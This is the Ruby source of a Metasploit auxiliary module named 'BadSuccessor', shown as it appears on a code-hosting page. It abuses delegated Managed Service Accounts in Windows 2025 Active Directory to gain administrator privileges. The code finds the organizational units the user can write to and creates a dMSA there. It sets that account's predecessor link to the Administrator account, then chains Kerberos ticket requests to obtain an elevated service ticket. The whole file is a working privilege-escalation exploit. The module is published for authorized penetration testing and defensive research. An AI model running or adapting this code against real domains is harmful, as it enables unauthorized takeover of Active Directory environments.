Path: blob/master/modules/auxiliary/admin/ldap/bad_successor.rb
31151 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Exploit::Remote::LDAP8include Rex::Proto::LDAP9include Msf::OptionalSession::LDAP10include Msf::Exploit::Remote::LDAP::ActiveDirectory1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'BadSuccessor: dMSA abuse to Escalate Privileges in Windows Active Directory',17'Description' => %q{18This module exploits 'Bad Successor', which allows operators to elevate privileges on domain controllers19running at the Windows 2025 forest functional level. Microsoft decided to introduce Delegated Managed Service20Accounts in this forest level and they came ripe for exploitation.2122Normal users can't create dMSA accounts where dMSA accounts are supposed to be created, the Managed Service23Accounts OU, but if a normal user has write access to any other OU they can then create a dMSA account in24said OU. After creating the account the user can edit LDAP attributes of the account to indicate that this25account should inherit privileges from the Administrator user. Once this is complete we can request kerberos26tickets on behalf of the dMSA account and voila, you're admin.2728The module has two actions, one for creating the dMSA account and setting it up to impersonate a high29privilege user, and another action for requesting the kerberos tickets needed to use the dMSA account for privilege30escalation.31},32'Author' => [33'AngelBoy', # discovery34'Spencer McIntyre', # Help with Kerberos implementation and a number of improvements during review35'jheysel-r7' # module36],37'References' => [38[ 'URL', 'https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory?&vid=badsuccessor-demo-video'],39[ 'URL', 'https://specterops.io/blog/2025/05/27/understanding-mitigating-badsuccessor/'],40[ 'URL', 'https://jorgequestforknowledge.wordpress.com/2025/09/02/from-badsuccessor-to-patchedsuccessor/'],41],42'License' => MSF_LICENSE,43'Privileged' => true,44'DisclosureDate' => '2025-05-21',45'Notes' => {46'Stability' => [ CRASH_SAFE ],47'SideEffects' => [ ARTIFACTS_ON_DISK ],48'Reliability' => [ REPEATABLE_SESSION ],49'AKA' => [ 'BadSuccessor' ]50},51'Actions' => [52[ 'CREATE_DMSA', { 'Description' => 'Create a dMSA account which impersonates a high privilege user' } ],53[ 'GET_TICKET', { 'Description' => 'Requests a series of tickets to give the user a ticket which can be used in the context of whomst the dMSA account impersonates' } ],54],55'DefaultAction' => 'CREATE_DMSA'56)57)58register_options([59OptString.new('DMSA_ACCOUNT_NAME', [true, 'The name of the dMSA account to be create or request tickets for']),60OptString.new('ACCOUNT_TO_IMPERSONATE', [true, 'The name of the dMSA account to be created', 'Administrator'], conditions: %w[ACTION == CREATE_DMSA]),61OptString.new('RHOSTNAME', [true, 'The hostname of the domain controller'], conditions: %w[ACTION == GET_TICKET]),62OptString.new('SERVICE', [true, 'The Service you wish to get a high privilege ticket for', 'cifs'], conditions: %w[ACTION == GET_TICKET]),63])64deregister_options('SESSION')65end6667def windows_version_vulnerable?68domain_info = adds_get_domain_info(@ldap)69version = domain_info[:domain_behavior_version]7071unless version.to_i == 1072print_error('This module only works against domains running at the Windows 2025 functional level.')73return false74end75print_good('The domain is running at the Windows 2025 functional level, which is vulnerable to BadSuccessor.')76true77end7879def validate80errors = {}8182case action.name83when 'GET_TICKET'84if %w[auto ntlm].include?(datastore['LDAP::Auth']) && Net::NTLM.is_ntlm_hash?(datastore['LDAPPassword'].encode(::Encoding::UTF_16LE))85errors['LDAPPassword'] = 'The GET_TICKET action is incompatible with LDAP passwords that are NTLM hashes.'86end87end8889raise Msf::OptionValidateError, errors unless errors.empty?90end9192def check93ldap_connect do |ldap|94validate_bind_success!(ldap)9596if (@base_dn = datastore['BASE_DN'])97print_status("User-specified base DN: #{@base_dn}")98else99print_status('Discovering base DN automatically')100101unless (@base_dn = ldap.base_dn)102print_warning("Couldn't discover base DN!")103end104end105@ldap = ldap106107return Exploit::CheckCode::Safe unless windows_version_vulnerable?108109ous = get_ous_we_can_write_to110if ous.blank?111return Exploit::CheckCode::Safe("Failed to find any Organizational Units #{datastore['LDAPUsername']} can write to.")112end113114print_good("Found #{ous.length} OUs we can write to, listing below:")115ous.each do |ou|116print_good(" - #{ou}")117end118119Exploit::CheckCode::Appears120end121rescue Errno::ECONNRESET122fail_with(Failure::Disconnected, 'The connection was reset.')123rescue Rex::ConnectionError => e124fail_with(Failure::Unreachable, e.message)125rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e126fail_with(Failure::NoAccess, e.message)127rescue Net::LDAP::Error => e128fail_with(Failure::Unknown, "#{e.class}: #{e.message}")129end130131def get_ous_we_can_write_to132organizational_units = []133134filter = '(objectClass=organizationalUnit)'135attributes = ['distinguishedName', 'name', 'objectClass', 'nTSecurityDescriptor']136entries = query_ldap_server(filter, attributes)137entries.each do |entry|138if adds_obj_grants_permissions?(@ldap, entry, SecurityDescriptorMatcher::Allow.any(%i[WP]))139organizational_units << entry[:dn].first140end141end142organizational_units143end144145def query_ldap_server(raw_filter, attributes, base_prefix: nil)146if base_prefix.blank?147full_base_dn = @base_dn.to_s148else149full_base_dn = "#{base_prefix},#{@base_dn}"150end151begin152filter = Net::LDAP::Filter.construct(raw_filter)153rescue StandardError => e154fail_with(Failure::BadConfig, "Could not compile the filter! Error was #{e}")155end156157# Set the value of LDAP_SERVER_SD_FLAGS_OID flag so everything but158# the SACL flag is set, as we need administrative privileges to retrieve159# the SACL from the ntSecurityDescriptor attribute on Windows AD LDAP servers.160161all_but_sacl_flag = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION162control_values = [all_but_sacl_flag].map(&:to_ber).to_ber_sequence.to_s.to_ber163controls = []164controls << [LDAP_SERVER_SD_FLAGS_OID.to_ber, true.to_ber, control_values].to_ber_sequence165returned_entries = @ldap.search(base: full_base_dn, filter: filter, attributes: attributes, controls: controls)166query_result_table = @ldap.get_operation_result.table167validate_query_result!(query_result_table, filter)168returned_entries169end170171def create_dmsa(account_name, writeable_dn, group_membership)172sam_account_name = account_name173sam_account_name += '$' unless sam_account_name.ends_with?('$')174dn = "CN=#{account_name},#{writeable_dn}"175print_status("Attempting to create dMSA account CN: #{account_name}, DN: #{dn}")176177dmsa_attributes = {178'objectclass' => ['top', 'person', 'organizationalPerson', 'user', 'computer', 'msDS-DelegatedManagedServiceAccount'],179'cn' => [account_name],180'useraccountcontrol' => ['4096'],181'samaccountname' => [sam_account_name],182'dnshostname' => ["#{Faker::Name.first_name}.#{domain_dns_name}"],183'msds-supportedencryptiontypes' => ['28'],184'msds-managedpasswordinterval' => ['30'],185'msds-groupmsamembership' => [group_membership],186'msds-delegatedmsastate' => ['0'],187'name' => [account_name]188}189190unless @ldap.add(dn: dn, attributes: dmsa_attributes)191192res = @ldap.get_operation_result193194case res.code195when Net::LDAP::ResultCodeInsufficientAccessRights196fail_with(Failure::BadConfig, 'Insufficient access to create dMSA seed')197when Net::LDAP::ResultCodeEntryAlreadyExists198fail_with(Failure::BadConfig, "Seed object #{account_name} already exists")199when Net::LDAP::ResultCodeConstraintViolation200fail_with(Failure::UnexpectedReply, "Constraint violation: #{res.error_message}")201else202fail_with(Failure::UnexpectedReply, "#{res.message}: #{res.error_message}")203end204205return false206end207208print_good("Created dMSA #{account_name}")209true210end211212def set_dmsa_attributes(dn, delegated_state, preceded_by_link)213print_status("Setting attributes for dMSA object: #{dn}")214215# Define the attributes to update216operations = [217[:replace, 'msds-delegatedmsastate', [delegated_state]],218[:replace, 'msds-managedaccountprecededbylink', [preceded_by_link]]219]220221# Perform the LDAP modify operation222unless @ldap.modify(dn: dn, operations: operations)223res = @ldap.get_operation_result224fail_with(Failure::Unknown, "Failed to update attributes for #{dn}: #{res.message} - #{res.error_message}")225end226227print_good("Successfully updated attributes for dMSA object: #{dn}")228end229230def query_account(account_name)231account_name += '$' unless account_name.ends_with?('$')232entry = adds_get_object_by_samaccountname(@ldap, account_name)233234if entry.nil?235print_error('Original object not found')236exit237end238239attrs_to_copy = {}240entry.each do |attr, values|241next unless %w[msds-managedaccountprecededbylink msds-delegatedmsastate].include?(attr.to_s)242243attrs_to_copy[attr.to_s] = values.map(&:to_s)244end245246attrs_to_copy.each do |key, value|247if value.is_a?(Array)248if value.length == 1249print_status("#{key} => #{value.first.inspect}")250else251print_status("#{key} => [#{value.map(&:inspect).join(', ')}]")252end253end254end255end256257def get_group_memebership(sid)258sd = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(259"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;#{sid})",260domain_sid: sid.rpartition('-').first261)262sd263end264265def domain_dns_name266return @domain_dns_name if @domain_dns_name267268if @ldap269@domain_dns_name = adds_get_domain_info(@ldap)[:dns_name]270else271ldap_connect { |ldap| @domain_dns_name = adds_get_domain_info(ldap)[:dns_name] }272end273274@domain_dns_name275end276277def action_create_dmsa278ldap_connect do |ldap|279validate_bind_success!(ldap)280if (@base_dn = datastore['BASE_DN'])281print_status("User-specified base DN: #{@base_dn}")282else283print_status('Discovering base DN automatically')284285unless (@base_dn = ldap.base_dn)286fail_with(Failure::NotFound, "Couldn't discover base DN!")287end288end289290@ldap = ldap291currrent_user_info = adds_get_current_user(@ldap)292sid = Rex::Proto::MsDtyp::MsDtypSid.read(currrent_user_info[:objectsid].first)293294# Get vulnerable OUs295ous = get_ous_we_can_write_to296print_good("Found #{ous.length} OUs we can write to, listing them below:")297ous.each do |ou|298print_good(" - #{ou}")299end300301writeable_dn = ous.sample302303create_dmsa(datastore['DMSA_ACCOUNT_NAME'], writeable_dn, get_group_memebership(sid).to_binary_s)304fail_with(Failure::NoTarget, 'There are no Organization Units we can write to, the exploit can not continue') if ous.empty?305set_dmsa_attributes("CN=#{datastore['DMSA_ACCOUNT_NAME']},#{writeable_dn}", '2', "CN=#{datastore['ACCOUNT_TO_IMPERSONATE']},CN=Users,#{@base_dn}")306query_account(datastore['DMSA_ACCOUNT_NAME'])307end308end309310def run_get_ticket_module(mod, opts = {})311opts.each do |key, value|312option_name = key.to_s313314if value == :unset315mod.datastore.unset(option_name)316else317mod.datastore[option_name] = value318end319end320321result = mod.run_simple(322'LocalInput' => user_input,323'LocalOutput' => user_output324)325326# Exceptions raised in the get_ticket won't propagate here, so fail if the credential is nil327fail_with(Failure::Unknown, 'Failed to run get_ticket module.') unless result328329result[:credential]330end331332def action_get_ticket333mod_refname = 'admin/kerberos/get_ticket'334335print_status("Loading #{mod_refname}")336get_ticket_module = framework.modules.create(mod_refname)337338unless get_ticket_module339print_error("Failed to load module: #{mod_refname}")340return341end342343# First get a TGT for the attacker who created the dmsa account:344user_tgt = auth_via_kdc345print_good("Obtained TGT for the user #{datastore['LDAPUsername']}")346347# Secondly get a TGT for dMSA impersonating the target account:348impersonate = datastore['DMSA_ACCOUNT_NAME']349impersonate += '$' unless impersonate.ends_with?('$')350get_dmsa_tgs_options = {351'DOMAIN' => domain_dns_name,352'PASSWORD' => datastore['LDAPPassword'],353'rhosts' => datastore['RHOST'],354'username' => datastore['LDAPUsername'],355'SPN' => "krbtgt/#{domain_dns_name}",356'action' => 'get_tgs',357'IMPERSONATE' => impersonate,358'IMPERSONATE_TYPE' => 'dmsa',359'krb5ccname' => user_tgt[:path]360}361362dmsa_credential = run_get_ticket_module(get_ticket_module, get_dmsa_tgs_options)363print_good("Obtained TGT for dMSA #{datastore['DMSA_ACCOUNT_NAME']}")364365temp_ccache_file = Tempfile.create(['bad_successor_', '.ccache'], binmode: true)366begin367temp_ccache_file.write(dmsa_credential.to_ccache.encode)368temp_ccache_file.close369370# Lastly request the ticket for the desired service:371get_priv_esc_tgs_options = {372'username' => impersonate,373'SPN' => "#{datastore['SERVICE']}/#{datastore['RHOSTNAME']}.#{domain_dns_name}",374'action' => 'get_tgs',375'krb5ccname' => temp_ccache_file.path,376'PASSWORD' => :unset,377'IMPERSONATE' => :unset,378'IMPERSONATE_TYPE' => 'none'379}380381run_get_ticket_module(get_ticket_module, get_priv_esc_tgs_options)382ensure383File.unlink(temp_ccache_file.path) if temp_ccache_file && File.exist?(temp_ccache_file.path)384end385386print_good("Obtained elevated TGT for #{datastore['DMSA_ACCOUNT_NAME']}")387end388389def init_authenticator(options = {})390options.merge!({391host: rhost,392realm: domain_dns_name,393username: datastore['LDAPUsername'],394password: datastore['LDAPPassword'],395framework: framework,396framework_module: self397})398399Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)400end401402def auth_via_kdc403authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })404authenticator.authenticate_via_kdc(options)405end406407def run408send("action_#{action.name.downcase}")409rescue Errno::ECONNRESET410fail_with(Failure::Disconnected, 'The connection was reset.')411rescue Rex::ConnectionError => e412fail_with(Failure::Unreachable, e.message)413rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e414fail_with(Failure::NoAccess, e.message)415rescue Net::LDAP::Error => e416fail_with(Failure::Unknown, "#{e.class}: #{e.message}")417end418end419420421